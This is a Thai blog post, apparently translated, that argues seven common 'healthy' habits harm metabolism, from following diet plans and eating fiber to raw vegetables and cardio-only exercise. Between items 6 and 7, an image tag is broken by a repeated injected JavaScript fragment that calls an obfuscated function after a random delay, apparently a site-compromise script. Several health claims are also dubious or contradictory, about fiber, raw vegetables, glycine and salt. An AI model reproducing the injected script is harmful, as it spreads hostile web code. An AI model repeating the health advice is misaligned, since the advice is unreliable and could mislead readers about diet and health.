เฮลตี้ 7 แบบที่ทำร้ายระบบเมตาบอลิซึ่มของคุณ

เฮลตี้ 7 แบบที่ทำร้ายระบบเมตาบอลิซึ่มของคุณ

อย่าคิดว่าการกินแบบเฮลตี้ (Healthy) จะไม่ทำร้ายระบบการเผาผลาญในร่างกายคุณนะ!

แล้วอะไรใช้วัดดูว่าร่างกายเราดู Healthy ละ….คำตอบคือเราต้องฟังเสียงร่างกายเราเองและสังเกตระบบเมตาบอลิซึ่ม(Metabolism) ของเรา การดูแลร่างกายที่ถูกต้องจะทำให้ระบบเมตาบอลิซึมทำงานได้ดี และจะช่วยกระตุ้นการทำงานที่ดีของร่างกายแต่ละส่วนให้ดีขึ้นเป็นลูกโซ่

ทำไมต้องดูแลระบบเมตาบอลิซึ่มของเราละ…..ระบบเมตาบอลิซึมหรือระบบเผาผลาญเพื่อให้ได้มาซึ่งพลังงานในการขับเคลื่อนร่างกาย เป็นกระบวนการที่ cell ในร่างกายคุณสร้างและดึงพลังงานมาใช้ แหล่งตั้งต้นพลังงานก็มาจากระบบย่อย ถ้าแหล่งอาหารดี เราก็กินดีย่อยดี มีแหล่งวัตถุดิบมาใช้สร้างพลังงานเยอะขึ้นใช่มั้ยครับ แล้วยังมีเรื่องคุณภาพการนอนหลับที่มีผลต่อระบบฮอร์โมนและการทำงานของประสาท มีผลต่อการสั่งการและควบคุมปริมาณเมตาบอลึ่มชัดเจน การทำตัวให้ Healthy นอกเหนือจากเรื่องกินแล้วต้องสังเกตอารมณ์และความเครียดให้ดีด้วย ระดับการใช้พลังงานในแต่ละคนก็มีผลด้วยเช่นกัน ยิ่งคนออกกำลังกายเยอะระบบก็ต้องการพลังงานสูงตามไปด้วย ดังนั้นเราควรดูแลร่างกายให้สามารถสร้างพลังงานและใช้พลังงานให้เหมาะสมกับกิจกรรมในแต่ละวัน ถ้ากินน้อยแต่ออกกำลังกายเยอะ ร่างกายจะเอาอะไรไปสร้างพลังงานแบบนี้ก็แย่

เรามาดูกันว่าวิธีเฮลตี้ 7 อย่างที่สามารถทำร้ายระบบเมตาบอลิซึ่มคุณได้

1. ปฏิบัติตามแผนไดเอ็ท (Diet plan)

เราปฏิบัติตามแผน diet เพราะอยากผอมเร็วๆ กันใช่มั้ย…แต่การทำตามแผนไดเอ็ทกำลังทำร้ายระบบเมตาบอลิซึ่มเราอยู่

1. เจ้าแผนบังคับไม่ให้เรารับพลังงานเข้า (Food intake) เพราะมีการควบคุมจำนวนแคลอรี่ที่สามารถรับได้ในแต่ละวัน
2. คุณเชื่อฟังแผนไดเอ็ทแทนที่จะฟังร่างกายมากกว่า ลองจินตนาการดูว่าเจ้าแผนไดเอ็ทคือรองเท้าไซด์เล็กกว่าขนาดเท้าจริงคุณ (ร่างกายคุณ) เวลาใส่ยอมเจ็บ อึดอัดเป็นธรรมดา คุณไม่ควรทำตัวให้ฟิตเข้ากับแผน แต่แผนควรทำตัวให้ฟิตเข้ากับเรา เจ้าแผนที่ดีควรจะมีความยืดหยุ่นเหมาะกับลักษณะการดำเนินชีวิตคุณในแต่ละวันมากกว่า”….“Diet plans try to make you fit into the plan, instead of allowing you to make a plan that fits you”.

เจ้าแผนไดเอ็ทมีหัวใจหลักอยู่ที่การควบคุม มันบอกคุณว่าอะไรกินได้ อะไรกินไม่ได้ ควรกินเวลาไหนและควรกินเท่าไหร การบังคับการกินอาหารส่งผลต่อระดับอารมณ์และความรู้สึกมาก ห้ามนู้นห้ามนี้ เวลาแอบกินหรือแหกกฎไดเอ็ทก็จะทำให้เกิดความรู้สึกผิด (guilty) สิ่งเหล่านี้ทำให้เกิดอาการเครียด เกิดการสะท้อนกลับให้ระดับต่อฮอร์โมนร่างกายแปรปร่วน

ให้เราลองถอยกลับมาทีเดิมแล้วฟังร่างกายให้มากขึ้น ปลดล็อกแผนไดเอ็ทที่มีแต่ข้อบังคับ ที่มีตึ่ความเครียดดู

2. กินไฟเบอร์ (Fiber)

การรับประทานอาหารที่มีเส้นกากใยเยอะๆ อย่าคิดว่ามันจะทำหน้าที่เหมือนไม้กวาดค่อยทำความสะอาดลำไส้เราเสมอไปนะครับ เพราะเหล่าไฟเบอร์มีสารพวก phytic acid และ oxalates ซึ่งสามารถขัดขวางการดูดซับแร่ธาตุอย่าง magnesium, calcium และ zinc ได้

เจ้าไฟเบอร์ยังตกค้างในไส้เราได้นานด้วย นั้นหมายความว่ามันก็กลายเป็นแหล่งเพาะฝักแบคทีเรียชั้นดีเหมือนกัน ยิ่งคนที่ท้องใส้อ่อนหรือระบบขับถ่ายไม่ดี มีความไม่สมดุลของแบคทีเรียในลำไส้ การรับไฟเบอร์เข้าไปมากๆ จะเป็นตัวเหตุให้อาการแย่ลงได้เหมือนกัน

ไฟเบอร์นั้นดีใช่ว่าจะไม่มีผลดีเลย แต่การกินไฟเบอร์ควรกินพอดีๆ ไม่ใช้ว่ากลัวมากจนเอาออกจากเมนูอาหารของคุณไปเลย ใครที่เคยกินบ่อยๆ ก็ต้องสังเกตดูว่ากินปริมาณเท่าไหรจะเกิดผลอย่างไรนะครับ ใช้ประสบการณ์ตัวเองดู

3. ดื่มน้ำ 8 แก้วต่อวัน

การรักษาสมดุลน้ำในร่างกายเป็นเรื่องดี แต่ดื่มมากไปก็ไม่ดี….โดบปกติเราดื่มน้ำเมื่อมีอาการกระหาย ซึ่งเป็นช่วงที่ร่างกายกำลังบอกว่าเราว่าต้องการน้ำ ระดับน้ำในร่างกายน้อยไปแล้วนะ หรือไม่ก็สามารถดูได้จากสีของปัสสาวะที่กลายเป็นสีเหลืองเข้ม

ร่างกายของเราต้องการน้ำมากน้อยเท่าไหรสามารถดูได้จาก

1. ระดับเมตาบอลิซึ่มของร่างกาย คนที่มีระดับเมตาบอลิซึ่มต่ำย่อมมีความต้องการของเหลวต่ำ แต่คนที่มีระดับเมตาบอลิซึ่มสูง ปริมาณน้ำที่ต้องการย่อมสูงตาม
2. กิจกรรมในแต่ละวัน คนที่ออกกำลังกายเยอะย่อมต้องการน้ำมากและคนที่ออกกำลังกายน้อยย่อมต้องการน้อย
3. สภาพภูมิอากาศ ในพื้นที่ที่มีอากาศร้อน ย่อมต้องการน้ำเพื่อชดเชยกับเหงื่อที่เสียไป แต่ในพื้นที่อากาศหนาวย่อมต้องการน้ำน้อยเป็นธรรมดา
4. อาหารการกิน อาหารแห้งย่อมต้องการดื่มน้ำตามเยอะ แต่อาหารที่มีปริมาณน้ำในตัวเยอะ อย่าง ผักผลไม้ นม เราย่อมต้องการน้ำน้อยลง

ร่างกายมนุษย์ต้องการรักษาระดับของเหลวให้สมดุล เพื่อรักษาระดับของน้ำและเกลือแร่อย่างพวกโซเดียมและโพเดียมเซียม การดื่มเปล่าอย่างเดียวย่อมขาดพวกเกลือแร่แน่นอน ถ้าเมื่อไหรที่คุณมีอาการเบื่อน้ำ ดื่มน้ำแล้วรู้สึกว่าไม่อร่อยหรือยังไงก็ไม่ช่วยดับกระหาย แสดงว่าร่างกายคุณต้องการเกลือแร่เพิ่ม ลองผสมน้ำส้มกับเกลือนิดหน่อยดู จะช่วยเติมเต็มเกลือแร่และสารอิเล็กโตรไลท์ให้ร่างกาย

4. โปรตีนต้องกินแต่อกไก่อย่างเดียว

เราต้องการโปรตีนเพื่อสร้างและซ้อมแซ่มกล้ามเนื้อ แต่การรับโปรตีนจากไก่อย่างเดียวระวังเป็นเก๋านะ เราควรจะรับโปรตีนจากแหล่งอื่นให้หลากหลาย อย่างเนื้อวัว หมู ถั่ว เป็นต้น เพราะเราจะได้สารอาหารอย่างอื่นนอกเหนือจากโปรตีนมาด้วยอย่างเช่น Gelatin ที่ส่วนมากจะติดมากับเนื้อติดกระดูก มีสารพวกต่อต้านกรดอมิโนอย่าง Glycine ช่วยในการทำงานของเหล่า insulin ป้องกันและบำรุงการทำงานของตับ ป้องกันอาการอักเสบด้วยนะ

5. ควบคุมปริมาณเกลือ

เกลือมีส่วนช่วยกระตุ้นระบบเมตาบอลิซึ่ม…

1. เกลือเป็นตัวช่วยเร่งระบบเมตาบอลิซึ่มโดยธรรมดาอยู่แล้ว
2. ช่วยลดฮอร์โมนเครียดได้
3. เกลือช่วยเพิ่มระดับ Oxytocin (ฮอร์โมนแห่งความรักความผูกพัน)
4. ลดระดับเกลือมีผลต่ออายุที่ยืนยาวขึ้น
5. ลดระดับเกลือช่วยเพิ่มลด ภาวะดื้อต่ออินซูลิน

หัวใจหลักของการรับเกลือต้องไม่มากหรือน้อยเกินไป เมื่อร่างกายต้องการเกลือสังเกตว่ารสชาติเกลือจะดีขึ้นกว่าปกติ และกรุณาเลือกเกลือที่มีคุณภาพด้วย เพิ่มเติมกันอีกนิด สำหรับอาหารพวก fastfood หรืออาหารที่ผ่านการแปรรูปโปรดระวังไว้ด้วยเพราะมีการปรุงแต่งด้วยผงชูรสและใส่เกลือเข้าไปอยู่ในปริมาณที่มาก เราอาจจะกินเข้าไปโดยไม่รู้ด้วยดังนั้นควรเลี่ยงการใส่เกลือเพิ่มลงไป

6. กินผักสดมากไป

ผัดสดๆ หรือผักดิบจะมี Cellulose ซึ่งร่างกายมนุษย์ไม่สามารถย่อยสลายได้ ไม่เหมือนวัว ที่มีหลายกระเพาะ แต่มนุษย์มีแค่กระเพาะเดียวดังนั้นการย่อยจึงทำได้ยาก การรับผักสดมากเกินไป ทำให้เกิดอาการท้องอืดท้องเฟ้อได้ อาหารย่อยช้าไม่สบายท้อง แถมผักสดจะมีพวกสาร oxalates ที่สามารถบล็อกการดูดซึมแคลเซียมได้ด้วย และสาร goitrogen ที่มีผลต่อต่อมธัยรอยด์

ทุกครั้งก่อนกินผักควรนำไปต้มหรือลวกเพื่อช่วยทำลาย cellulose บางส่วนร่วมทั้งสาร oxalates และ goitrogen ด้วย แนะนำว่าเรายังกินผักสดได้ตามที่ต้องการแต่ให้ดีควรทำให้สุกจะดีกว่านะครับ

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-498379_1280.jpg”>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-498379_1280-800×548.jpg” alt=”sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-498379_1280″ width=”800″ height=”548″ />

7. ออกกำลังกายแบบ cardio หรือ aerobics อย่างเดียว

การออกกำลังกายควรมีการผสมผสานกันระหว่าง Cardio และ strength training เพราะการออกกำลังกายแบบ cardio นั้นจะเป็นตัวกระตุ้นให้ปล่อยสาร stress hormones ด้วย ยิ่งปัจจุบันเวลาเราวิ่ง เราพยายามวิ่งให้นานมากที่สุด ไกลที่สุด แน่นอนว่ามัน Overdo การออกกำลังการให้เรา active นั้นยังสามารถทำได้ด้วยวิธีอื่นๆ นอกจากการวิ่งหรือเล่น cardio อย่างเดียว

1. การฝึกสร้างกล้ามเนื้อหรือ strength training จะช่วยเพิ่มปริมาณกล้ามเนื้อและเจ้าเหล่ากล้ามเนื้อยังช่วยเผาผลาญแคลอรี่ได้เป็นอย่างดีแม้เวลานอนหลับ การยกเวท โยคะ หรือ body weight training จะช่วยเสริมสร้างการทำงานของกล้ามเนื้อและสมองได้ดีขึ้นด้วยนะครับ
2. ฝึก HIIT หรือ High intensity interval training สามารถเพิ่มการเผาผลาญได้ดีการการวิ่งเป็นระยะเวลานาน เป็นการฝึกระยะสั้นไม่ถือว่าเป็นระดับ Endurance ทำให้ร่างกายไม่ต้องหลั่งฮอร์โมนความเครียดมากเกินไป ช่วยกระตุ้นการทำงานของหัวใจด้วย
3. กินให้เหมาะกับ lifestyle เรา ถือว่าเป็นหัวข้อที่สำคัญ คนที่ออกกำลังกายเยอะย่อมกินเยอะเป็นธรรมดา การเลี่ยงกินอาหาร การอดนอน ส่งผลต่อระดับฮอร์โมนและความเครียด ส่งผลร้ายต่อระบบเมตาบอลิซึ่ม คำแนะนำสุดท้ายคือ กินและผักผ่อนให้เหมาะกับระดับ Activity ของเราในแต่ละวัน

ที่มาlindseyreviews.com